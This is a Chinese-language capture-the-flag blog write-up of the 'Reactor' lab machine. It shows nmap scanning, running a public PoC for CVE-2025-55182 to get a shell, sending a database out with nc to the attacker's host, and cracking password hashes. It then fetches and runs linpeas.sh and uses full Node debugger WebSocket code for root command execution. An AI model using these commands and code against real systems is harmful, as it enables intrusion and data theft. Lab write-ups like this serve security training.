Reactor

信息收集

先用nmap扫描

1
nmap -A 10.129.1.23

image-20260610020539913

但是什么都没有扫出来,其实可以用Tscan扫,扫到22和3000,然后用另一个更详细精准的命令进行验证

1
nmap -sV -sC -p22,3000 --min-rate=1000 10.129.1.23 -vv -Pn

image-20260610020542884

这里可以发现有两个端口,常见的22端口是一个ssh服务,然后尝试去访问3000端口

image-20260610020545623

CVE-2025-55182

利用Wappalyzer插件探测到存在React框架,就去搜索这个框架相关的漏洞

参考文章:https://github.com/ThemeHackers/CVE-2025-55182

image-20260610020549771

利用步骤

将github中的文件下载到本地解压缩后将文件上传到kali,搭建一个虚拟环境进行操作

1
2
3
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

完成后利用脚本拿到shell

1
python3 CVE-2025-55182.py -u http://10.129.1.23:3000/ --exploit

就可以进行rce

先查看id还是node身份,因此下一步就要进行一个提权

image-20260610020554661

ls查看文件,发现了react.db,就需要把这个文件传输到自己的kali

image-20260610020603000

先重新开一个终端在此监听8888端口,把对方发过来的所有数据保存成一个叫 reactor.db的文件

1
nc -lvnp 8888 > reactor.db

image-20260610020606630

然后在刚刚拿到shell的地方传输文件

1
nc -q 0 10.10.16.23 8888 < reactor.db

image-20260610020611218

然后需要等一会再去查看得到reactor.db文件,发现可以看到数据库

image-20260610020616148

点击“浏览数据”,查看数据库中的内容,在“users”表中看到了两个用户和他们的hash加密的密码

image-20260610020621962

1
2
admin	a203b22191d744a4e70ada5c101b17b8	administrator	admin@reactor.htb
engineer 39d97110eafe2a9a68639812cd271e8e operator engineer@reactor.htb

用小工具破解一下

破解工具:https://www.cmd5.com/default.aspx

image-20260610020627970

提权

得到enginer的密码reactor1,尝试sudo提权

1
2
3
wget http://10.10.16.23/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

但是提权失败了,可以查看后台进程

1
ps aux | grep node 

image-20260610020633122

发现了本地9229开启的node调试端口,就可以利用node调试器提权

先用curl查看json

1
curl http://127.0.0.1:9229/json
1
7422b351-76bd-480e-ab3a-034a578084d1

image-20260610020637371

利用ws链接调试端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:9229/7422b351-76bd-480e-ab3a-034a578084d1'); //改成你自己的

ws.on('open', function () {
console.log('connected');

// 执行 JS
ws.send(JSON.stringify({
id: 1,
method: "Runtime.evaluate",
params: {
expression: `
this.constructor.constructor('return process')()
.mainModule.require('child_process')
.execSync('id') //命令执行处,可以改为ls等等
.toString()
`
}
}));
});

ws.on('message', function (data) {
console.log(data.toString());
});

先进行ssh转发,密码reactor1

1
2
3
ssh -L 9229:127.0.0.1:9229 engineer@10.129.1.23 -fN 

node nodejs_debug_port_RCE.js

提权成功

image-20260610020642508

1
2
3
4
5
6
7
cat /home/engineer/user.txt

02ed28626cf21cf1a1464cbf0bbef209

cat /root/root.txt

859daa9ef9665449c699598ab5195eda

然后就是进行rce执行任意代码了

总结

这个靶机单靠nmap -A是扫不出来什么的,可以用Tscan扫。React框架下的CVE-2025-55182,利用poc可以进行rce

这里用到了一个node调试器的提权,通过ws连接调试端口进行提权,执行rce


Reactor
https://colourful228.github.io/2026/06/10/Reactor/
作者
Colourful
发布于
2026年6月10日
更新于
2026年6月10日
许可协议